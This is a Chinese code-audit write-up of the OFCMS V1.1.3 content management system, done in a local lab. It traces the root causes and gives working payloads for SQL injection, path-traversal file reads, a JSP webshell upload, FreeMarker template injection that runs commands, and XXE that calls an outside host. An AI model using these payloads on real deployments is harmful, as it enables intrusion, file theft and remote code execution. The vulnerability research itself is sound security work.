記一次某內容管理平臺最最最詳細的代碼審計
前言
剛好遇到一個授權的滲透是通過該cms實現getshell,所以順便審計一下java類的cms,這個管理系統是一個內容管理系統,下載地址
https://gitee.com/oufu/ofcms/tree/V1.1.3/
tomcat下載地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip
這里我選擇8.5.78
環境搭建
idea ofcms V1.1.3 tomcat 8.5
idea直接創建新建項目,自動導入xml文件,配置啟動服務器

導入sql文件
mysql -uroot -pxxxxxxx use ofcms source /路徑.ofcms-v1.1.3.sql

show tables;

這里需要注意一點兒,源碼確實,無法打包war'包,解決不掉artifacts的問題

配置端口

啟動tomgcat的時候會亂碼,修改tomcat的配置文件tomcat->config->logging.properties
更改所有utf8的格式為GBK

配置maven,整一個惡心的想吐
<mirror> <id>alimaven</id> <mirrorOf>central</mirrorOf> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/repositories/central/</url> </mirror>

重建項目

啟動服務,但是之前需要修改配置文件中的數據庫的連接的字段用戶名和密碼,這里會報錯,所以修改配置文件直接創建完成了數據庫在上面導入數據庫的時候跳過安裝步驟。
首頁地址: localhost:8099/ofcms_admin 后臺地址:localhost:8099/ofcms_admin/admin/login.html admin/123456

審計分析
SQL注入
文件結構目錄

因為已知漏洞都存在于后臺,直接審計后臺文件,首先定位到控制層代碼,

因為已經不通通過安裝啟動web服務,這里不需要分析安裝控制層,看首頁
出于對代碼的尊重,跟了一波增加sql語句的處理,但是存在sql注入的過濾器,

直接觸發增加用戶接口


其實可以直接看出來,在第50行的時候已經使用put方法增加了管理員用戶,然后new了一個對象record存放存入的其它參數的數據,再往下的時候根據record的值判斷用戶的類型,向下56行F7跟進,一直跟到類sqlpara的setsql方法進行插入

在這里的時候插入的是創建時的創建時間等字段,并沒插入我們傳入的詳細信息,但是在類sysusercontroller中的57行中十對創建的用戶sss創建id編號,此時用戶以及數據的插入時在58行執行結束時完成,已經寫進了數據庫。
但是這里沒有測試存在注入點兒,注入點存在于代碼生成->新增

手動測試有回顯sql=1'

猜測可能存在報錯注入,構造payload
update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2

\ofsoft\cms\admin\controller\system\SystemGenerateController.java下斷點分析

47行,F7跟進


返回的sql參數的內容未作任何過濾,48行F7跟進

98行跟進update方法

256行直接連接數據庫進行更新,最后拋出異常,報錯回顯出數據庫用戶名root
存儲型XSS

分析代碼,
所以這里出現存儲型XSS的地方不止這一個觸點兒,包括前臺,Ueditor編輯器的原因。
任意文件讀取

查看文件模板,模板文件連接如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/
可控參數dir,payload如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/

控制字段file_name讀取文件
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib

漏洞分析

查看模板文件的時候,傳入的dir參數以及updir的參數都為空

這里是對路徑文件類型做判斷,讀取模板文件,所這里任意文件讀取也只是針對任意模板文件讀取,讀取文件名的控制參數數為filename
根據debug分析,當傳入的payload為
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../

測試根據斷點看出,我們傳入的參數dir為../

在65行的時候未對傳入的參數dir做過濾,這個時候已經拿到了模板目錄

讀取通過循環遍歷使用文件名讀取

在調試的時候發現,我們訪問目錄。這里訪問comn

在控制層TemplateController內調用函數getSiteTemplatePath()

F7跟進,在類file.java中對路徑進行了直接拼接

所以只要調用file函數拼接的參數也必定會產生"任意"文件讀取。那么所能使用的payload如下
?dir=../ ?up_dir=../ #含文件名 ?file_name=page.html&up_dir=../comn ?file_name=page.html&dir=../comn
文件上傳實現webshell
剛好該類這里又save方法調用了上面的函數,所以我們可以保證我們上傳文件的路徑是可控的


嘗試構造數據包

此時已經成功保存,但是通過文件讀取是讀不到文件的,實際上已經寫進去了,因為在讀取文件的時候限制了讀取的文件類型,可以嘗試保存一個html

驗證是可以寫入的,那么直接寫入jsp木馬實現webshell

最后一個斷點執行結束,此時shell已成功寫入
http://localhost:8099/ofcms_admin/static/1.jsp

SSTI模板注入
同樣在save模板的時候我們分析,在125行的時候傳入file文件以及文件內容

f7跟進函數,發現在類fileutils中的,writestring方法中在78行的時候拿到的string還是我們在前端輸入的內容

繼續F7跟進函數

這里直接對string進行了編碼
payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
訪問
http://localhost:8099/ofcms_admin/about.html

所以這里漏洞的觸發點也很多,html頁面都可以,當然也可以利用上面的文件上傳進行寫入頁面調用也可以觸發。漏洞的觸發原理可參考這個文章
http://t.zoukankan.com/Eleven-Liu-p-12747908.html
很清晰
XXE漏洞
直接分析漏洞代碼下斷點
ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java
前端功能模塊導出
定位到控制器處理方法,在 com.ofsoft.cms.admin.controller.ReprotAction 類的 expReport 方法中。

使用上文的任意文件讀取,在靜態頁面下放入我們寫入的jrxml文件,文件命名為xxe.jrxml,構造payload
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1 Host: localhost:8099 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 394 Origin: http://localhost:8099 Connection: close Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%36%36%2e%31%32%38%3a%38%30%38%31%22%3e%25%78%78%65%3b%20%5d%3e
文件內容的payload
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>


直接訪問
http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe

漏洞成因是調用了 getParamsMap 方法,獲取用戶提交的所有參數,并將 j 參數賦值給 jrxmlFileName ,服務器接收用戶輸入的 j 參數后,拼接生成文件路徑,可直接穿越其它目錄,但是限制了文件后綴為 jrxml,所以文件名命名為jrxml
先調用getParamsMap 方法

而后調用JasperCompileManager.compileReport() 方法

F7跟進,在 compile方法中調用 JRXmlLoader.load() 方法,F7跟進,在 loadXML 方法中調用了 Digester 類的 parse 解析我們的 XML 文檔對象,默認是沒有禁用外部實體解析,所以xxe文件能執行。
總結
拋開白盒審計不說,sql注入實現比較簡單,黑盒狀態下也可知道用戶名實現,跨站類可以通過js類的實現對用戶的上線,高危的文件讀取和webshell以及xxe,總的來說都是在文件讀取目錄遍歷的基礎上實現的,否則對于二次開發的網站拋開任意文件讀取這個漏洞來說是無法實現webshell的。